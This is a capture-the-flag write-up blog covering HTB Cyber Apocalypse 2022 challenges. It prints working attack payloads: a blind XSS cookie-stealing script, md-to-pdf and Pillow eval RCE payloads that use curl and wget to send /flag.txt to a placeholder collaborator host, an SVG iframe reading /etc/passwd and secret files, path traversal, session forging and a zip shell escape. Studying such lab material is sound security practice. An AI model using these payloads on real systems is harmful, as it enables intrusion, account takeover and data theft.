> For the complete documentation index, see [llms.txt](https://khalid-emad.gitbook.io/cyber-apocalypse-htb-2022/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://khalid-emad.gitbook.io/cyber-apocalypse-htb-2022/cyber-apocalypse-htb-2022.md).

# Cyber Apocalypse HTB 2022

#### **Hello amazing hackers , in this blog i'll share solutions for the challenges i solved from HTB Cyber Apocalypse 2022 , it was nice experience added more techniques , more searching vectors to me . So let's dive in .**

## **Kryptos Support \[ Web ] :**&#x20;

When we first visit the URL we see this lovely page :&#x20;

![](/files/KThZJAtFVUitIGh4Q85P)

We can see the word `BACKEND` at the top and it redirects us to a login page , but since we don't know yet any credentials we will let go off it . also we have report issue functionality , when i type any issue we get this response :&#x20;

![](/files/J5A7uqp1KlJDEQimacXd)

When i saw it i immediately went to blind xss , because we know that an admin will review our issue right ? so we can send an xss payload that will retrieve us the cookie and login as admin .

To do this i used a simple payload from `xsshunter` :&#x20;

```
"><script src=https://YOUR-SUBDOMAIN.xss.ht></script>
```

![](/files/kMONphlEz0NfOrZRqs3K)

The payload was accepted and no restrictions are applied to our input . Going to our `xsshunter` result we see :&#x20;

&#x20;

![We got him](/files/p9GfnCu6QIiAQbKJSKrW)

Moving further in our report we can see the cookies got , not just that we can also see a revealed page called settings  :&#x20;

![](/files/ZKHLG1I075MOQL1TLVbz)

Now we can easily take this session and replace it with our current one, by doing this nothing happened , but when i went to the `/settings` page : &#x20;

&#x20;

![](/files/ePKofLYDSTSAN2M4WHl3)

Now we are logged in as moderator with update password functionality we also can see the tickets section , by heading to it  :&#x20;

![](/files/TFmPYTQ5wmoqedeHY5Bm)

Nothing really interesting here, so let's return to the update password section and intercept the request with burp to see what is happening : &#x20;

![](/files/A3knP1Jp6bjzM5qzUHxs)

We can see that it takes the `uid` which is obviously stands for user id and we know that we are logged in as moderator , so let's try to change the `uid` from 100 to 1 since most of the web developers assigns the `uid` of 1 to the admin&#x20;

![](/files/LWa7C7ZwWPAsJNLZnajA)

We changed the admin password , now let's try to login as `admin:password` :&#x20;

&#x20;

![](/files/94DpGO6mOiTICfKMj5Iv)

## **Blinker Fluids \[ Web ] :**&#x20;

When we open the URL we found this page :&#x20;

![](/files/tL7vSAmQocuAUnriCIUq)

A simple page that allows us to add invoices , before we proceed we are given the source code , so let's take look at the important snippets :&#x20;

```
// Database.js

async listInvoices() {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare('SELECT * FROM invoices order by id desc');
                resolve(await stmt.all());
            } catch(e) {
                reject(e);
            }
        });
    }
    async getInvoice(id) {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare('SELECT * FROM invoices WHERE invoice_id = ?');
                resolve(await stmt.get(id));
            } catch(e) {
                reject(e);
            }
        });
    }
```

Function called `listInvoices()` that lists all of them in descending order but without our control and all of the other functions uses prepared statements so no place for sql injection here .

```
// index.js
router.post('/api/invoice/add', async (req, res) => {
    const { markdown_content } = req.body;

    if (markdown_content) {
        return MDHelper.makePDF(markdown_content)
            .then(id => {
                db.addInvoice(id)
		    .then(() => {
			res.send(response('Invoice saved successfully!'));
				})
		    .catch(e => {
			res.send(response('Something went wrong!'));
				})
            })
            .catch(e => {
                console.log(e);
                return res.status(500).send(response('Something went wrong!'));
            })
    }
    return res.status(401).send(response('Missing required parameters!'));
});
```

When we tend to add an invoice a post request iss sent to `/api/invoice/add` with `markdown_content`  as a parameter and then it converts this markdown content to a PDF using `makePDF` function , let's try this feature :&#x20;

![](/files/cpJOqRrR58PrBKNPg7vb)

So here i typed some text and saved it

&#x20;

![](/files/1xEI79ao4KgmN2nU3ZrQ)

We have 2 actions for every invoice which is exporting and deleting , we know that our created one is the first because they are arranged descending . Now i wanted to know what library they used to convert the markdown to PDF , we can know this easily from `package.json` file as it contains all the dependcies used .

&#x20;

![](/files/MU7QhdA1iyFwiIzND5KE)

`md-to-pdf` with version 4.1.0 , when i searched for this library i found that it is vulnerable to RCE according to this article <https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880> which uses this payload to achieve command execution  :&#x20;

```
---js\n((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE
```

&#x20;The thing here that when i tested the library locally i found that it is not required to open or export the PDF file in order to execute the code , I then typed this payload but with replacing the system code as follow :&#x20;

```
---js\n((require("child_process")).execSync("curl http://YOUR-BURP-COLLAB"))\n---RCE
```

When i created the invoice using the web interface i didn't connection , so i thought of looking at the PDF to see what's going on :&#x20;

![](/files/dW1aeYVOjB1BT4lV5oFE)

We can see that the new lines didn't get processed , so i thought of sending the payload using burpsuite&#x20;

![](/files/nfO7WnMTuaUMYBM4kNax)

And boom i got a connection , from the docker file we know that the flag is i `/flag.txt` so let's upload it to our server using `curl` as follow :&#x20;

```
---js\n((require("child_process")).execSync("curl -F name=@/flag.txt http://YOUR-BURP-COLLAB"))\n---RCE
```

![](/files/6ALC8RBBgefx4sceu3vy)

## **Admist Us \[ Web ] :**&#x20;

When we open the web page we see a pretty cool  torch effect that was fun to play with&#x20;

&#x20;&#x20;

![](/files/5ds4POkauTyWl86JHVsk)

When we click this flying plate icon it takes an image and tries to change it's background color through a color palette , so this is the basic feature of the web app , we also are given a source code so let's take a look on the important snippets :&#x20;

```
# routes.py
@web.route('/')
def index():
	return render_template('index.html')

@api.route('/alphafy', methods=['POST'])
def alphafy():
	if not request.is_json or 'image' not in request.json:
		return abort(400)

	return make_alpha(request.json)
```

We see that the web app has an api with `/alphafy` that accepts an image in the JSON request with 'image' parameter and it calls the `make_alpha()` image with the provided image , so let's see what does this function do .

```
# util.py
# SOME CODE
def make_alpha(data):
	color = data.get('background', [255,255,255])
	try:
		dec_img = base64.b64decode(data.get('image').encode())
		image = Image.open(BytesIO(dec_img)).convert('RGBA')
		img_bands = [band.convert('F') for band in image.split()]

		alpha = ImageMath.eval(
			f'''float(
				max(
				max(
					max(
					difference1(red_band, {color[0]}),
					difference1(green_band, {color[1]})
					),
					difference1(blue_band, {color[2]})
				),
				max(
					max(
					difference2(red_band, {color[0]}),
					difference2(green_band, {color[1]})
					),
					difference2(blue_band, {color[2]})
				)
				)
			)''',
# SOME CODE
	except Exception:
		return '', 400
```

We can see that it tries to open the image and if it can't it catches and exception with 400 code , but if it can't it sets the color using the function `ImageMath.eval` and we can notice that there is a color array which gets reflected inside this eval statement , fortunately we can control the elements of the color array through a parameter called `background` , let's upload an image and intercept the request :&#x20;

![](/files/SoQ1tPhSMlOcPmFxtAjx)

Now time for the exploit , when i searched for the function `ImageMath.eval` it appeared to be vulnerable to RCE according to this issue <https://github.com/advisories/GHSA-8vj2-vxx3-667w> it states that the library `Pillow` is vulnerable to code execution . Now we know that every element in the color array is reflected in the eval statement we can inject the payload in the first element as follow :&#x20;

```
"background":[  "exec(\"import os;os.system('wget http://YOUR-BURP-COLLAB')\")" ,255,255]
```

{% hint style="info" %}
Before this payload i tried to use curl but no any requests was made to my collab&#x20;
{% endhint %}

![](/files/AjkHiudFKaNCRpiQe9Nz)

And we got the connection !! . From the docker file we know that the flag is in `/flag.txt` there are multiple ways to retrieve it but i chose to be simple by using this payload :&#x20;

```
"background":[  "exec(\"import os;os.system('wget http://YOUR-BURP-COLLAB?flag=`cat /flag.txt`')\")" ,255,255]
```

This simply executes `cat /flag.txt` and passes the result to a GET parameter called flag :&#x20;

![](/files/TweCpol5gmR8jvRDt8Tv)

## **Mutation Lab \[ Web ] :**&#x20;

This time we are not provided with the source code , when we open the URL we find a registration page :&#x20;

![](/files/9UQRyrEB5v2unLgEXL2e)

It takes `UUID` which would be very hard to brute force , instead we can register as a normal user .

![ ](/files/sEBpYrLYe65ULiL3XRup)

When we register we see this page . we also notice that we must be admin to view the sensitive records which will probaply be the flag .

Under every graph we see the export function , when we click export it export the current case of the graph and display it to us&#x20;

![](/files/S0jyV05FYkMfFh1eRB9U)

Let's intercept the request to see what happens when i click export :&#x20;

![](/files/pqGuWL2MCQ8DJk9Xu2Zn)

A post request to `/api/export` is made with `svg` parameter , we also can see `session` and `session.sig` but we will return to them later .&#x20;

![](/files/TKdKuwmApymosBjv96XZ)

This was the response , and when we open this image we will see like the first image we saw .

When i saw the svg parameter an initial scenario came to my mind and it was to create stored xss via that svg parameter to get admin session but i failed to achieve that , the second scenario is to read local files using `iframe` as follow :&#x20;

```
{"svg":"<svg xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\" class=\"root\" width=\"800\" height=\"800\"><g><foreignObject width=\"800\" height=\"1000\"><body xmlns=\"http://www.w3.org/1999/xhtml\"><iframe src=\"file:///etc/passwd\" width=\"100%\" height=\"100%\"></iframe></body></foreignObject></g></svg>
"}
```

This will simply read the `/etc/passwd` file , when we go to the image from the response : &#x20;

![](/files/spdDfZTLAkLy0h2GDmzw)

Amazing , so now we can read local files ... now what ?&#x20;

Since the web app is based on node we can read files from the app directory `/app/` like `/app/index.js` or `/app/routes/index.js` . So let's try to read them :&#x20;

![/app/index.js](/files/NMjcgrMPUlKbFvIeolVT)

This file revealed the location of the session secret key =>  `/app/.env`&#x20;

![/app/.env](/files/7rEBDnuG2RTO7tn5QhfS)

And finally&#x20;

![/app/routes/index.js](/files/DL3ed41fhUATo8sZEwFL)

Let's connect the leads, we got the session secret key from the second image , we know that we should be admin in order to get the flag from the third image , remember the session we had ? if we base64 decoded it we get :&#x20;

![](/files/hb6pUoTX4EDBjXRJZ4e4)

But we can't simply change the username to admin because this is a signed session and when we change the original session we should also have the signed one for it , and here comes the role of the session secret key . I searched for online session/cookie generator but i failed to find one so i had to write simple node web app that utilizes the login system and gives me the signed cookie with the secret key . This web app can be found here : <https://github.com/khaled1000emad/Misc/blob/main/HCA-2022/node-cookie-generator.js>

Now when i ran the web app i got the session and the signed one with the username admin :&#x20;

![](/files/7Q5Jtn44HtLNlltNcqMT)

Let's now replace the generated session with the current one :&#x20;

![](/files/9UjrsyHh0MVbjv2YhmbP)

## **Compressor \[ Misc ] :**&#x20;

We are given an IP and Port , by connecting to them we see this prompt :&#x20;

![](/files/CpkyUWwk9PuQ5EchoVjB)

By choosing any choice we get the same choices which are :&#x20;

![](/files/VFQzlL6noaOg5kZqMvo8)

To eliminate my exploitation process i dealt only with the options that deals with user input which are number 1 3 4 5&#x20;

\[+] Number 1&#x20;

I tried to create to create multiple of suspicious file names so when i read them using number 3 it would execute commands but i always got :&#x20;

![](/files/1iC8wR0b6mOpUKhUH2yR)

\[+] Number 3

Choice number 3 was taking file name and tries to read it , so i thought of reading `/etc/passwd` but i got :&#x20;

![](/files/nTriv8oqVyrkj6zR7aG9)

We can pass our name as `../../../../../etc/passwd` :&#x20;

![](/files/Z3KIYVdd2VAS3rlVgTPo)

Nice , we can try to read the flag.txt now :&#x20;

![](/files/5Ylr0gMEsqWJrLqFqC3t)

By climbing another directory up :&#x20;

![](/files/Ap0BlnRjNiRNkzNOOgnu)

We got our flag , but that was not the only solution i figured because the moment i saw the `zip` option i knew that we need to escape that shell using `zip` with the help of GTFOBins.

The compressing process here takes from us a file name (Existing one) and then compresses it , if we looked at GTFOBins :&#x20;

![](/files/9DQdhO0rdwMZ7uG88v8r)

We can escape shell by providing the following options : `-T -TT 'sh #'`&#x20;

So now we know what to do , first we will create file using option number 1 and let's call it exploit&#x20;

&#x20;

![](/files/qbbQzWXgyCzsxDVf1zwA)

Next let's compress it by using option number 4 and provide our options to escape the shell&#x20;

![](/files/k80GTaGu11STypds0qwU)

Now we can easily read the flag.

## **Space Pirate: Entrypoint \[ PWN ] :**&#x20;

That was the most shorthand solution ever , we are given an IP and Port to connect to :&#x20;

&#x20;&#x20;

![](/files/jkrW3VTR5imxTRRuhTzq)

We see 2 options , I choose to insert password and with sense of default credentials i entered 1234

and i was surprized with the result :&#x20;

![](/files/tFvAF1ganEWpOLkXYQhO)
